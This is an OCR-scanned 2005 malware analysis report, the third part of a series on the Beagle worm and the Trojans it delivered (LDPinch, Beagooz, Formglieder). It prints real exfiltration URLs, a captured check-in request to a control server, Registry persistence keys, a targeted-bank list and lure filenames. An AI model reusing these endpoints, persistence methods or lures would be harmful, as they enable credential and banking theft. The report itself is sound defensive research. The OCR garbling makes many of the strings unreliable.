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Overview

This is the third part in a series concerning the history and effects of the Beagle worm.'
On January 18, 2004 antivirus companies around the world discovered the Beagle (aka
Bagle) worm. In the year since its release, Beagle has had a major impact on the Internet.
This report examines the first year of Beagle, the variants since Part 2 of this series, and
the development of the Beagle “business strategy,” a plan that includes much more than
mass email.

Throughout the yearlong life of the worm, Beagle’s authors have shown not only great
technical abilities, but also disciplined process improvement and business skills. The
Beagle releases have improved consistently, adding new routines and changing their
external appearance. From its beginnings, analysts have believed it was built to create
revenue.” Although there is currently no way to quantify the income generated by the
worm, Beagle appears to have a broad base of profit-generating pieces, from affording its
writers the ability to lease spam relays to stealing bank account information.

As in the two previous reports, the Symantec nomenclature is used to identify variants
unless noted otherwise.

Variations on a Theme

The Beagle worm of January 2005 is as much a success as a criminal web-based business
as it is a successful virus. Although much different from their great grandfather, the
Beagle. A that appeared in 2004, the latest incarnations of the code continue to provide
examples of a well-defined method and focus (in Internet crime). Where the previous two
parts of the Beagle History tried to describe the technical achievements of the worm
(which this polymorphic worm continues to present), this portion examines the lessons to
be learned from a leader in the nefarious web economy of spamming, phishing, and
stealing passwords.”

Beagle.AR

In late September 2004, Beagle.AR appeared in the same way its predecessors did: as a
broadly seeded worm arriving in thousands of inboxes. AR’s payload also resembles its
recent cousins AP and AQ. Mitglieder is dropped onto victim machines and immediately
attempts to reach out to nearly 150 sites and download a file named “ws.jpg.” No samples
of'this file were captured at the time of the worm’s release, as the sites listed in the code
did not have it or were offline after AR was released. This should be no surprise to those
following the history of Beagle; the author regularly tests worm functions and new
features by releasing a variant that does not complete its routines. Beagle. AR, however,
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still posed a great threat to victim machines; the worm opens both TCP 81 and a random
UDP port for remote connections.

Beagle. AU

Beagle.AU hit the Internet on October 29 of 2004, and showed a renewed interest in
stopping the Windows XP security services (as August 2004’s AQ introduced). It also
opens TCP 81, apparently with the single function of allowing remote execution of a
local file. The worm copied itself to the local machine as “wingo.exe” (as well as
wingo.exeopen & wingo.exeopenopen) to the Windows directory. On a Windows 9x/ME
device, that directory is “Windows\System” (versus “Winnt\System32” for Windows
2000/NT or “Windows\System32” for XP) and the infection would look like this, note
the icon used for this variant:
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Beagle.AU resident on a Windows 9x Machine
Beagle.AV

The most widely seeded variant of the three released on October 29th, AV found itself in
an elevated threat status on many antivirus vendors’ sites. AV used this seeding to hit
more machines than the other two versions released on the same day combined. A look at
the time period from October 2004 to January 2005 via F-Secure’s virus statistics page
shows it as the fourth most reported virus.* As of January 10, 2005, Symantec still had
this variant rated at a risk level of 3 (out of 5), making it equal to the Sober variant
released three weeks after AV and the Zafi variant released six weeks later. At the same
time infection reports show Beagle variants continuing to compromise machines around
the world at a high rate.” This variant of the worm does not implement any new tricks and
looks functionally equivalent to AU. Beagle.AV is coded to die after April 25, 2006.
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Beagle. AW

October 29 also marked the release of AW. Using the same list of server addresses as
AR, this variant attempts to retrieve “g.jpg” from the Internet. Again TCP 81 is opened.
The only other difference from AU is the use of “bawindo.exe” as the worm’s file name
on the local device.

Following the release of AW, a number of new Trojans (in the spirit of the Mitglieder
software already distributed by Beagle) appeared on Beagle-infected devices. These were
designed to steal additional information from victim machines as well as act as backdoors
for new software installations. The applications are described in greater detail later in this
report.

Releasing three variants on the same day is certainly not unusual for the Beagle creator.
The use of multiple, very similar, versions of the code is one way to increase the
likelihood that a particular variant will go undiscovered. A signature for one version of
the code (which is often encrypted, specially packed, etc.) may miss another entirely even
though the variant looks identical at first glance (and without time-intensive
deconstruction of the program). It also increases the confusion surrounding a worm,;
releasing many versions of a worm simultaneously capitalizes on the discrepancies in
naming conventions between antivirus vendors.

Beagle.AX

Released November 15, 2004, Beagle. AX represents a “full fledged” attempt to
compromise a new base of computers. “Full fledged” in the sense that no routines appear
to be tests for the future; everything included in the worm worked upon release.
Moreover, it includes functions such as notification of each infection, which is absent
from some previous iterations.

Beagle.AX displays the phony error message (“Can’t find a viewer...”) of previous
versions, kills Netsky variants and security tools, opens a functioning relay port (TCP
2002), downloads additional worm code from the Internet (saving the file as “l.exe”),
and then propagates (via file shares and SMTP). Beagle.AX also employs the use of
image files to deliver the password for copies that are encrypted.

AX also retrieves a password stealer, LDPinch®, from the Internet. Additional
information on this program is found in the next section. One other interesting inclusion
at this point is the use of HTA files to launch the worm, which the author had not done
since August of 2004 with the AP variant. AX brings back the verse from Beagle.Y:

In a difficult world

In a nanel ess tine

| want to survive

So, you will be mne!!

-- Bagl e Author, 29.04.04, GCernany.
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Possibly this is an indication that a previously released version of code was slightly
modified for this distribution. The lines were also included in MyDoom.W (September
14, 2004), with slight modification, possibly pointing to common or related writers.’,

The following diagram outlines the basic routines of these related versions of Beagle and
nearly all iterations, using AX as a guide for worm details (such as the Subject line of the
email):

File arrives as COM, CPL, HTA, EXE,
SCR, VBS, or ZIP attachment.

Subject: Re: Thanks :)
Message: Please, have a
‘ look at the attached file.

Attachment: Readme.hta

Attachment is executed by user.

Error!

@ Can't find a viewer associabed with the file

Adds copies of itself to the Windows
SYSTEM directory as sysinit.exe
(sysinit.exeopen, sysinit.exeopenopen,
etc.). Hooks Registry to ensure worm
starts up with the operating system.

Scans the local machine for email
addresses, sends a copy of itself to
each target, and opens TCP 2002.

Copies the worm to any directory

containing "shar" in its name...

...and reaches out to the server(s)
hard-coded into the worm to retreive
additional software and execute it on

the local machine.

infectionvectors.com 2005

Beagle Installation Functions
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AX found much success through its wide initial seeding. Although the Beagle authors
would distribute new code through the AU-AX infections, this would be the last iteration
of the worm for over two months.
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Beagle.AY

The first variant of 2005, released on January 26, made a few cosmetic changes to the
versions released in the fall. Most noticeable, AY changed the familiar list of filenames
used when the worm replicated via unprotected share rather than mass email. Although
the worm continued to use the same distribution servers of AX, the file it attempts to
retrieve is now called “error.jpg.” This also serves as the registration of the infected box
with the external server. The worm opens a backdoor on a random port above 2338. AY
delivers email messages with simple subject lines and short message bodies (as is
common for the Beagle author), and one of seven possible names (with an extension of
CPL, COM, EXE, or SCR). The use of a simpler attachment scheme than previous
worms and reliance on servers listed for nearly three months makes this version appear as
a “test” or development iteration.

An email created by this slightly different-looking version would appear like this:

From [spoofed fromlist harvested fromvictim
Subj ect: Registration is accepted

Message Body: Before use read the help
Attachment: wsdOl. exe

Example Beagle.AY Email

Beagle.AZ

Also released January 26, AZ looks functionally identical to AY. However, the author
changed the way the worm terminates, coding the malware to stop running after a month
or April 25, 2006, whichever comes first. This is controlled by a Registry entry that
records the date of the initial infection:

HKEY_CURRENT_USER\ Sof t war e\ M cr osof t\ Par ans Riga = “[DATE I NFQ”

Some type of termination date has been part of many variants; this is the first that stops
functioning after a set time. AZ still attempts to terminate security software immediately,
aiming at the connection sharing, firewall, and security center in Windows XP.

AZ lifts a random icon from the compromised device to use as its own when propagating.
This serves as another means of obfuscating the worm to a user; there is no way to send
out a general alert for the worm by saying, “Look for the ‘X’ icon,” in much the same way
that the variable subject lines and message bodies do.

Beagle.BA

Released as a repacked version of AZ on January 27, 2005, BA represents another widely
seeded variant. Repackaging extends the life of the code a little longer, requiring a new
signature from antivirus companies to catch the new Beagle. At some point, it is worth
considering, there must be a breaking point for the antivirus researchers; a number of
independent variants of major worms that if released in a small enough window, would
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overwhelm the analysis and signature release process. If generic detection signatures
were not possible (or possible within a short enough time frame), a writer such as the
Beagle author may be able to infect boxes by “brute force” in the future.

The tactic has been used multiple times before by the authors and is just one of many that
they use to ensure success, which they seem to have achieved. The idea that the Beagle
authors have a business plan is explored in the next section, which continues to examine
the applications they have distributed.

Refining the Business Plan

The initial suspicions about Beagle appear to be true: individuals seeking to profit from
malware crafted the worm. That has been chronicled by multiple sources including the
first two parts of this report.® In many ways the Beagle history is a blueprint for web-
based criminal success. The coder(s) crafted a well-conceived worm, used sound testing
and distribution methods to hone the code’s routines, and then exploited the base of
victims to deliver additional “products” which increase the profitability of the venture.
With each Beagle iteration, the cost of deployment is reduced, the installation base grows
larger, and generating a greater return for each new piece of malware is possible. This
“viral economy of scale” can be better explained in the following brief table:

Business Practice Functionality Advantages

Deliver Spam Larger processing base More clients; faster job
processing per customer
reduces chance of discovery

Harvest Addresses Additional product to sell Provide lists to spammers
that have their own
remailers; used to seed
future versions of the worm

Use Previously Infected Provides a mechanism to Avoid detection until after

Boxes as “Base” increase recipients worm has been delivered to
thousands of users

“Base” left with backdoor Test/deliver numerous Use compromised machines

for additional code programs to avoid detection; leverage

existing product to generate
new income

Beagle Business Functions

Beagle’s end game is still not completely known to the security world; there are multiple
directions the authors could take with their code. However, the table above serves as a
simple example of how well the venture has gone thus far. Not only has Beagle
apparently met its initial objective (to establish anonymous spam relays), but it has also
allowed the creators to expand their markets both horizontally and vertically (although
not in the traditional business sense).

Beagle’s compromised machine base is used to generate revenue in two ways: 1) to
increase the number of “products” available to the authors and, 2) to increase the
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potential profit on each machine infected. First, the authors have been able to use both the
Beagle worm itself and the systems it compromises to push multiple types of malicious
code around the world. New examples of this are described in the next section. Each of
these programs is capable of harvesting different pieces of information (or “products” as
each holds a resale value), from passwords to banking information, each of which holds
profit potential. In addition, some code establishes relay points for providing a service
(spam/phishing attempts) or delivering new applications; Mitglieder is a good example of
this. This has allowed the authors to expand their business “horizontally,” or into new
areas with various customers and victims.

Second, Beagle-infected machines can be used for multiple types of malware, sometimes
at the same time. This functionality is delivered via the unending stream of Trojans that
are available for download. The effort and expense in creating a virus like Beagle may
seem low to those thinking only of the speed with which it appears such code is
delivered, however, there is undoubtedly a significant investment of time in coding and
testing the numerous incarnations of the worm. Re-using infected machines allows the
authors to use the same compromised boxes for numerous ventures, ensuring that each
infection’s return on investment is maximized, though only the authors themselves know
exactly how well the model has worked up to this point.

One more interesting facet of the Trojan releases is that they are often weeks after the
worm itself is distributed. This tactic is likely employed in hopes that researchers and
security professionals downplay the severity of the virus; reducing the overall attention
the respective version of Beagle receives. It also ensures that the Trojans are not subject
to analysis in a timely manner. The expansion of the Beagle business plan is described in
the next section which outlines a few of the Trojans discovered on infected machines and
download points.

LDPinch

AX installs the password-stealer LDPinch on the victim machine (actually retrieved as
“Pinch.exe” from the Internet), as was reported for much earlier variants in 2004. This
version of LDPinch attempts to collect the following:

LDPi nch Lifts:
Nane of the Infected Conputer and its Domain
POP3/ 1 MAP servers used, usernanes, and passwords
Trillian usernames, passwords
W5 _FTP Settings
Qpera Mail Account Settings
Mozil |l a Accounts

LDPi nch Attenpts to Steal Passwords Associated wth:

M5 Qut | ook Account Manager W ndows Comander
| CQ Accounts Tot al Conmander
Bat Mai | R mArts

RAS Accounts Cut eFTP

ACL I nstant Messenger

LDPinch Functions
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Beagooz

In the previous portions of this report it was noted that although Beagle was clearly
crafted with spamming interests in mind, no version of the worm lifted email addresses
from an infected machine and delivered them to an outside source, something that a
spammer would likely be interested in accomplishing. That officially changed
approximately one week after the AU-AW variants were released. The phantom files they
each attempted to retrieve became available on November 5, 2004. As could be guessed
at this point, the Trojan, likely dubbed Beagooz because of the Registry value it creates
(HKCU\Software\Firstzzz), harvested email addresses from affected machines and posted
them to an external server. In fact, this is all that Beagooz does. Once the program has
searched the hard disk, gathered the addresses, and sent them on their way it deletes itself
(by way of crafting a small batch file which it executes).’

Beagooz connects to the following when uploading addresses:
http://ww. domam | . cz/i nmo/ _PSD/ FLash/ out . php?a=upl

domai n: domani | . cz
nserver: ns. kraxnet.cz ns. kraxnet.com

217.11.237.145, Location: Czech Republic - Praha, H avni Mesto - Prague

Beagooz.B

Shortly after the release of Beagooz a similar Trojan began to surface (November 7,
2004). This version of the code remained virtually the same, just changing the Registry
key (“Firstzzz1”) and the destination of the email addresses: canalj.net, registered to a
French mailing address.

http://ww. canal j. net/ctoiki/tkitoi/zidane/inmages/work/ out. php?a=upl

194.117.214. 46, Location: La Altagracia - Punta Cana

Beagooz.C

The next day (November 8, 2004), the third incarnation of the address-harvester
appeared. The version uses the name “Firstzz3” in the same Registry key. The data is
posted to a domain registered to a location in Lithuania, but with an IP address registered
to a US company:

http://ww. first-gallery.com functions/out.php?a=upl

64.202. 167.192 Location: United States - Scottsdale, Arizona

The Beagooz programs represent another shift in focus for the Beagle worm. Now,
harvesting email addresses not only allows the current version of the worm to target new
victims (as it still propagates to all discovered addresses), but also later versions (without
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the use of infected boxes — by simply plugging all of the stolen addresses into a mail
server). This may be a response to better detection abilities and security tool use on client
machines. The release of Windows XP SP2 provided additional warnings to users (via the
Security Console) when their firewall or anti-virus software was disabled. Although
Beagle variants do routinely target these services for termination, the lack of the
monitoring icon (a small shield added to the System Tray) would prompt many users to
check their system.

Furthermore, if there is profit in using infected boxes as spam relays then there is greater
potential for profits by also selling the lists of email addresses harvested by the worm.
Shortly after the release of Beagle. A analysts began reporting that the worm was clearly
designed for relaying spam. Spam, although expensive and cumbersome for
administrators to filter, is not necessarily a security problem in its own right. However,
spam has gone from annoying to sinister very quickly. Spam tactics allow email to be the
economical vessel for Trojans and scams of all kinds. The email traffic sent to Beagle-
infected machines for mass relaying has included everything from advertisements for
prescriptions through phishing attempts. In many ways, it is the natural evolution of
Beagle’s “business;” the email address lists are a natural and necessary component of the
final product (additional email copies) so profiting from the effort in creating them only
makes sense.

Mitglieder Continued

In late November of 2004, additional variants of the Trojan known as Mitglieder began
surfacing as part of the Beagle world. Mitglieder was dropped by other Trojans and could
be retrieved from servers distributing Beagle components. Once the code is executed,
Mitglieder (aka Small) reaches out and downloads the “engine” for email/file share
propagation, or the Beagle worm proper.'’ The Trojan can be used to download any type
of application (such as the password stealer LDPinch) to infected boxes, allowing the
author to modify programs, test/execute them, and remove them without detection.

Variant Release Additional Info.

Mitglieder. A January 8, 2004 LDPinch download
Mitglieder.B/.C January 20, 2004 discovered with Beagle. A
Mitglieder.D/.E March 13, 2004 TCP 25555 & 20742 (respectively)
Mitglieder.F/.G April 5, 2004 hard coded DNS

Mitglieder.H April 7, 2004 TCP 14247

Mitglieder.I April 13, 2004

Mitglieder.J April 24, 2004 Tarno download

Mitglieder.K May 13, 2004 attempts 4 downloads
Mitglieder.L June 7, 2004 self-update

Mitglieder.M July 22, 2004

Mitglieder.N/.O August 20, 2004 added full process kill list
Mitglieder.BB (Panda)  November 5, 2004 screenshot capability

Small.MS (Trend) November 22, 2004 arrives as attachment

Small.ZM (Trend) November 22, 2004 kills security software/dropped by MS
Mitglieder.BF (Panda)  December 7, 2004 screenshots, password lifting
Mitglieder.BG (Panda)  January 5, 2005

Mitglieder Releases




Year of the Beagle 10

Mitglieder (German for “members”) has always been around with Beagle, apparently the
end game for the email relay and “update” system. The first incarnation of Mitglieder
was discovered On January 8, 2004 (10 days prior to Beagle.A)."" As previously
reported, this program appeared to be a spam relay, giving Beagle its initial use as a
profit-generator.

Formglieder

During the research of the AX variant, another Trojan was found to be part of the
download available on one of the servers listed in the code. The Trojan uses an encrypted
URL (decrypted at runtime) as its connection point for additional applications. Later, this
application was appropriately called “Formglieder” by antivirus vendors.'? Formglieder
has many of the traits of other Beagle-author products: it creates a unique identifier (128
bit number) on the local machine, it regularly checks a web server for updates and
additional software, and posts logs to an external site. It also harvests all data inputted
into logon/banking “forms” online, hence the name. The installation routine places a copy
of the worm in the Windows directory (as “winhlp.exe”), executes that copy, and then
creates an automatic startup value in the Registry:

HKEY LOCAL MACHI NE\ Sof t war e\ M cr osof t \ W ndows\ Cur r ent Ver si on\ Run
wi nhl p. exe " C \ WNDOAS\ wi nhl p. exe"

It then creates the following key/value that holds the unique identifier for that
compromised machine (where the UID is randomly generated):

HKEY LOCAL_ MACHI NE\ Sof t war e\ M cr osof t\ User Dat a
Uub "{77A9F1C0-639B- 13D9- 89B8- 00A00D664298} "

The URL that is the destination for the “update check™ and stolen data is:

www. cl aus. drehteil e-ri eche. de

This domain has the address 195.20.225.21 associated with it at the time of discovery and
uses ns.schlund.de for name resolution.

Formglieder is yet another extension of the Beagle “business plan,” which already
includes delivering spam/phishing attempts, lifting email addresses, and stealing
passwords. This Trojan lifts data of a special kind: online banking information.
Formglieder is coded to only capture information from Internet Explorer windows that
show any of the followings strings:

1ndc hangseng. com

adel ai debank. com au hsbc

ameritrade i kobo

bank i nteractivebrokers
bankwest . com au i nt ernati onal banki ng
benbank. com au nacquari e. com au
bendi gobank. com au noney
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caj anadrid nati onal . com au
ci ti bank navyf cu

ci ti bank navyfcu. org
client.ccf.fr net bank
commbank. com au sabb. com

di rect - val i dat e. bankof aneri ca. com | shwab

e-gol d st george. com au
etrade suncor p. com au
etrade. com ua utterfielddirect.com
et radebank wel | sfargo
firstdirect.com west er nuni on
gol dnoney

In addition, if the Internet Explorer window contains the string:

e-gol d. com acct/ bal ance. asp

Formglieder captures all the data in the window and forwards it on to the compiling
server. As mentioned above, the Trojan also attempts to “check in” with its parent server
periodically. It does this with a request that looks like the following:

GET /i mages/ b64. php?p={ 77A9F1CO- 639B- 13D9- 89B8- 00A00D664298} HTTP/ 1.1

What deserves attention is the use of the unique identifier in the request, allowing the
author to catalog the devices that have been compromised. This has been a staple of
Beagle’s infections since early in its development. The catalog could include the
computer’s IP address, names of users on the device, password hashes, what software
resides on the machines, etc. Postings to the server contain any values that exist in the
installed software and username/password keys for multiple network applications,
including Outlook, Outlook Express, FTP, POP3, IMAP, and others.

As mentioned in Part I of this series, cataloguing machines is useful for a number of
reasons. By having the IP address (at least a NAT ed address), the authors can lookup
where their victims are located (for example, a bank, a military base, Fortune 500
company, etc.) and tailor the Trojan appropriately. As of yet, the evidence points to the
Beagle writers using the worm in a much broader fashion, without pinpointing specific
targets. However, there is little means of verifying that it has not been done.

Test, yep.

From the outset, the focus of these reports has been the development of the worm in
terms of its technical and non-technical innovation. Beagle has shown remarkable
improvements since its first release in January of 2004. The bulk of the changes have
been documented in the virus research literature and the two previous portions of this
report.

Although new releases of the “classic” Beagle worm may be used to rebuild an army of
compromised machines, possibly the world has witnessed the final evolution of this
malware. The initial three-month period (January 18 — April 30, 2004) was concerned
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with honing the base functionality of Beagle, avoiding detection, and building the base of
compromised boxes. The next phase, loosely the next 6 months, focused on shifting the
“soft” pieces of the virus, namely the message body and subject lines as well as how the
worm is actually delivered to a machine. The summer of 2004 witnessed the attachment
give way to the web-delivered Beagles. This recent evolution has been concerned with
delivering very focused pieces of malware to devices, presumably with the intention of
generating profit. Numerous droppers have been used to posit the worm on machines
around the globe, further confusing the issue and making general alerts difficult."

Some of the most calculated moves on the author’s part may be the release dates for the
malware. As previously noted, leaving weeks between the distribution of a worm and the
posting of the applications it is supposed to retrieve helped reduce the attention the
respective worms received. The release of the Beagooz and Formglieder Trojans after
months of perfecting a mass mailer and infecting thousands of hosts was likely well
thought out. Although the evolution of this worm may be over soon, its lessons will
extend to malware writers for years to come.

Getting the Show on the Road

The use of email to deliver the Beagle payload has proven to be quite successful. The
coder or coders responsible for these worms seem more than talented enough to have
employed the ubiquitous RPC DCOM exploits or LSASS overflow from 2003 and 2004
respectively to mobilize a virus, but instead stuck with SMTP for at least a piece of all the
Beagle distributions.

Many analysts have said that the rise of bot nets is the trend to watch in malware. In
addition, the mass mailer has been relegated to “on the decline” status as it is believed
that SMTP worms will begin to die off like Macro-viruses.'> Although bot nets such as
Agobot pose a significant threat to the Internet, the idea that they compete with mass
mailers for victims is a false dichotomy. Mass mail is perfectly suited for delivering the
application that turns a home PC into a slave. Beagle has proven this time and time again;
although not the first thought in most people’s minds when “bot net” is mentioned,
Beagle produced one of the largest such armies in 2004. Where other worms are fighting
the increased use of firewalls and security updates (especially since XP SP2 has been
released), Beagle continues to slip its encrypted ZIP attachment into the inboxes of users
everywhere.

The use of email to deliver malware works for many reasons, although the lack of user
awareness tops the list. A user that may be very skeptical of traditional phishing attacks
that employ poor grammar in an effort to extract banking information is still likely to
look at an attachment from someone they “know” in a spoofed “From” field.

While the delivery mechanism for bots may be debated as a technical issue, continued
profitability will determine the path that venture like Beagle take in the future. If mass
mail becomes inefficient and expensive it will likely be a result of tighter SMTP controls
and authentication mechanisms. These would hurt email business as a whole, making
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spamming and phishing difficult. Some inroads have been made; email filers and
scanners have helped reduce the amount of spam that users see on their desktops.
Beagle’s developers have already responded, making their flagship product capable of
generating profits in multiple areas, not just spam. As explored by the first two parts of
this series, Beagle’s authors have shown dedication to improving the worm code, in both
technical achievement and good processes."”

The final lesson from Beagle’s year is that profitable malware can be constructed,
deployed, and managed as well as profitable security software. The beginning of this
series included, many virus analyses focus on the technical magic of a worm and
overlook the simple, methodical precision of an author that is motivated by revenue.
These authors are less likely to make the mistakes that a careless writer who is seeking
attention makes.

As is mentioned elsewhere in this document, the Beagle authors took the threat of Netsky
quite seriously and built multiple layers of defense into the worm (possibly better
considered as layers of “offense” based on the actions taken) to prevent the competing
malware from hurting profits. Beagle has treated the security community in the same
fashion, attacking the software that is designed to protect machines and targeting the
weakest link of most security perimeters: user awareness. A fitting summary of the worm
thus far and the most telling aspect of Beagle’s “business” application comes from the
coders themselves, who wrote (to the Netsky author in Beagle.J) the following in March
of 2004:

“...don't ruine our bussiness, wanna start a war ?"
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Additional Information for the Curious

Beagle Function Development

This was introduced in Part I and is updated again for this report:

A

EXE attachment
Opened backdoor
Downloaded additional code

Generated Unique ID

Submitted ID/port/address info to author
Tested remote control abilities

Changed backdoor port

Added 33 subject lines
Disabled security products
DNS server added
Injected into explorer.exe

Changed mutex name

Added text line
Changed Compression mechanism
Changed filenames/Registry entries

Inserts random “junk” data
Eliminates use of hash/checksums

Large shell changes — subjects, attachments, etc.

Encrypted payload occasionally
Added infection vector — “shar”

Always sends encrypted payload

Changed shell — icon different
Changed filenames

Completely revamped shell

New filenames/Reg values

Installs trojan - leverages tool: Mitglieder
Utilizing pre-built machine army to disperse
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Base Function
Base Function
Base Function

Enhanced control
Enhanced control
Improved reliability
Base Function

Social Engineering

Hampered Detection
Improved reliability
Hampered Detection

Hampered Detection
Social Engineering

Hampered Detection
Hampered Detection
Hampered Detection
Hampered Detection
Social Engineering

Hampered Detection

Extended Life/Reach

Extended Life/Reach
Hampered Detection

Extended Life/Reach
Extended Life/Reach

Social Engineering
Extended Life/Reach

Hampered Detection

Base Function
Base Function
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.M(mm)

.U-V

W-X

.AB

AC-.AH

AO

AP

AQ

AR

Acts solely as Trojan — changes character
Changed install routine

EXE infection

Added compression — RAR

Password as graphic

File size increased

Changed filenames/Registry entries

New vector — only require opening message

Modular infection sequence

Changes filenames, etc.

No subjects, messages-covers with legitimate app.

Hidden Trojan

Email relay

Updates/Commands from compromised hosts
Netsky Mutex Spawning

Dropped Source Code

Shifted Compression Mechanism
Widespread Initial Seeding

Shifted Compression Mechanism
Returned to Ciphered ZIPs

Hidden EXE (within compressed folder)
Downloads Worm Code from Internet
Regular Update Period

Changed Subject/Attachment Names

Stops Services
Regular Update Period Shortened

Opens TCP 81 & Random UDP port
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Extends Life/Reach
Hampered Detection
Base Function

Base Function
Hampered Detection
Hampered Detection
Hampered Detection
Base Function

Base Function
Hampered Detection
Extends Life/Reach
Hampered Detection
Hampered Detection
Base Function
Base/Detection
Extends Life
Hampers Prosecution

Hampered Detection

Extends Life/Reach
Base Function

Hampered Detection
Hampered Detection

Hampered Detection
Base Function
Base Function

Hampered Detection

Hampered Detection
Base Function

Base Function
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AU-.AW

AY

AZ

.BA

Stops Windows Security Services
Download Additional Trojans

Compilation of Many Successful Functions
Changed Share Filenames

Terminates After One Month
Random Icons

Repackaged Earlier Variant

Beagooz.A-C Retrieve Email Addresses

Formglieder Steals PC and Bank Account Data

MyDoom Similarities/Tangent 2 on “In a difficult world” verse
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Hampered Detection
Extend Functionality
Base Function

Hampered Detection

Extend Functionality

Hampered Detection
Hampered Detection

Hampered Detection
Base Function

Base Function

MyDoom.W actually dropped a text file outlining the functions of the worm. Included in
this file, about mydoom.txt, is the following:

In a difficult world
In a nanel ess tine
| want to survive

So, you will be mne!!,second author

In Part II of this series, it was noted that a rock song with three parts, “In a Nameless
Time,” by Rage (1995) was the only public reference discovered for this verse. The

inclusion with MyDoom would mark the 2™ time the verse was discovered in a virus,
with Beagle. AX being the third.

MyDoom has practical similarities to Beagle as well. Beyond the obvious (both are mass
mailers, open backdoors, utilize Mitglieder'®, etc.), both download additional applications
that are refined as much as the worms themselves. During late 2004, MyDoom presented
infected boxes with a pair of Trojans, Nemog and Sykel. Sykel exploits the LSASS
vulnerability (MS04-011) to propagate. Once running on a box, Sykel attempts to
download MyDoom and Nemog.

Nemog allows the author to add links to a Favorites file, change the local host’s IE start
page, connect to various IRC channels, and harvest configuration details from the
infected machine. The program contains a routine to generate fake email accounts for use
in relayed email, undoubtedly for spamming purposes. The code allows for email
relaying, killing antivirus/security software, and lifting local host information from the
infected machine. In summary, it is a Trojan that attempts many of the same functions



Year of the Beagle 17

that Mitglieder does. Although that is a long way from tying the two worms together,
these two worms do show a similarity in the business practices.

Formglieder Details

During the analysis of this Trojan, one additional test that was not documented in the
paper was completed: executing the packed and unpacked versions of the code. The
Trojan is compressed with UPX. If the unpacked version is executed, an unpacked copy
appears in the Windows directory. If the packed version is executed, a packed copy is
made. This simply indicates that the Trojan does keep a copy to “drop” nor does it
contain a copy of UPX; nothing earth shattering.

The Formglieder initial connection to its parent looks like this:

GET /i mages/ b64. php?p={ 77A9F1C0- 639B- 13D9- 89B8- 00A00D664298} HTTP/ 1.1
Accept: image/gif, image/x-xbitmap, inage/jpeg, imagel/pjpeg, */*
Accept - Language: en-us

Accept - Encodi ng: gzip, deflate

User-Agent: Mdzilla/4.0 (conpatible; MSIE 6.0; Wndows 98)

Host: www. cl aus. drehteil e-rieche. de

Connection: Keep-Alive

HTTP/ 1.1 200 K

Date: Thu, 13 Jan 2005 15:01:19 GVI
Server: Apache/1.3.29 (Unix)

X- Power ed- By: PHP/ 4. 3. 10

Keep- Alive: tinmeout=2, max=200
Connection: Keep-Alive

Transf er - Encodi ng: chunked

Cont ent - Type: text/htm

0

Formglieder retrieves the usernames, email addresses, passwords, and installed
applications on a compromised machine through various calls to the local Registry. One
such routine, used to extract a list of applications from the “Uninstall” key (which is
generally a good indication of what is installed on a Windows machine) is shown below:

004040BF |. 68 09634000 PUSH W NHLP. 00406309 ; ASCII "Installed apps:"
004040C4 |. E8 6BDOFFFF CALL W NHLP. 00401134
004040C9 |. 8D45 FC LEA EAX, DWORD PTR SS: [ EBP- 4]
004040CC |. 50 PUSH EAX ;[ pHandl e
004040CD |. 68 6D624000 PUSH W NHLP. 0040626D ;| Subkey =

" SOFTWARE\ M cr osof t \ W ndows\ Cur r ent Ver si on\ Uni nstal | "
004040D2 |. 68 02000080 PUSH 80000002 ;| hKey = HKEY_LOCAL_MACHI NE
004040D7 |. E8 6A0A0000 CALL <JMP. &advapi 32. RegOpenKeyA> ; \ RegOpenKeyA

The posted information is formatted with a short tag (such as “Installed apps:”) above and
then a listing of the data found in the key. And it forms capture reports for the given URL
strings in a modestly formatted summary (from a simple strings search):
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00004BC9  004063C9
00004BD3  004063D3
00004BE1  004063E1
00004BEF  004063EF
00004C3F  0040643F

[cNeoNoNe]
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(') URL:
Form acti on:
For m met hod:

The Familiar Set of Filenames Used for “shar” Directories

M crosoft O fice 2003 Crack, Wrking!.exe
M crosoft Wndows XP, WnXP Crack, working Keygen. exe
M crosoft O fice XP working Crack, Keygen.exe

Por no,

sex,

oral,

anal cool, awesone!!.exe

Porno Screensaver. scr

Serial s. txt.exe

KAV 5.0
Kaspersky Antivirus 5.0

Porno pics arhive, xxx.exe

W ndows Sour cecode update. doc. exe

Ahead Nero 7.exe

W ndown Longhorn Beta Leak. exe

Opera 8 New . exe

XXX hardcore inages. exe

W nAnp 6 New . exe

WnAmp 5 Pro Keygen Crack Update. exe
Adobe Phot oshop 9 full.exe
Matrix 3 Revolution English Subtitles.exe

ACDSee 9. exe

This list was the only one used until the first variant of 2005 was released, which changed
the filenames to:

1. exe
10. exe
. exe
. exe
. exe
. SCr
. exe
. exe
. exe

O©CoO~NOOTRhWN

ACDSee 9. exe

exe

Adobe Phot oshop 9 full. exe

Ahead Nero 7.exe

Matri x 3 Revolution English Subtitles.exe

Opera 8 New . exe

WnAnp 5 Pro Keygen Crack Update. exe

W nAnp 6 New . exe

W ndown Longhorn Beta Leak. exe
XXX hardcore inmages. exe

Servers Used to Compile Stolen Data
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CANALJ.NET

i net num 194.117.214.0 - 194.117. 215. 255
net nane: MEN- | NTERACT- FR
descr: I nteract systenes
country: FR

adm n-c: FRMOL- RI PE

tech-c: MGN16- RI PE

rev-srv: nsl. mgn. net

rev-srv: ns2. nmgn. net

st at us: ASSI GNED PA

noti fy: ** %% @rgn. net

mmt - by: MEN- MNT

changed: ***@mgn. net 20020222
source: Rl PE

FIRST GALLERY.COM

O gNane: Go Daddy Software, Inc.
OglD GDs- 31

Addr ess: 14455 N Hayden Road
Addr ess: Suite 226

Cty: Scot t sdal e

StateProv: AZ
Post al Code: 85260
Country: uS

DREHTEILE-RIECHE.DE

domai n: drehteil e-ri eche. de
descr: Ri eche- I ndustri ebedar f
descr: Hubert usanl age 24
descr: D- 63150 Heusenst amm
descr: Ger many

nserver: ns. schl und. de

nserver: ns2. schl und. de

st at us: connect

changed: 2003-08-17T13: 40: 17+0200
source: DENI C

Grudge Matches

Part II aimed at the new anti-Beagle routines since the Netsky author’s arrest; several
pieces of malware targeted Beagle processes. None of those worms made special impact
on the Internet. However, the “war” between Netsky and Beagle in early 2004 seems to
have had an impact on many other authors looking to get into the mix. One worm,
released in December of 2004, named Maslan (another mass mailer) made the following
statement that included the Beagle author:

-{ Hah...M/Doom Bagle, etc...since then you do not have future nore! }-

Also interesting is the continued use of the Beagle backdoor by bots built with the
Agobot/Phatbot code.'” This entry point onto an infected machine is included with
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numerous variants of these bots through the writing of this report. In addition, a number
of viruses dropped the Beagle worm, including Norat and Kriz.

Lest anyone think this was removed from the code, the process termination and mutex
initiation is still present in the latter versions of the worm, this is a testament to the
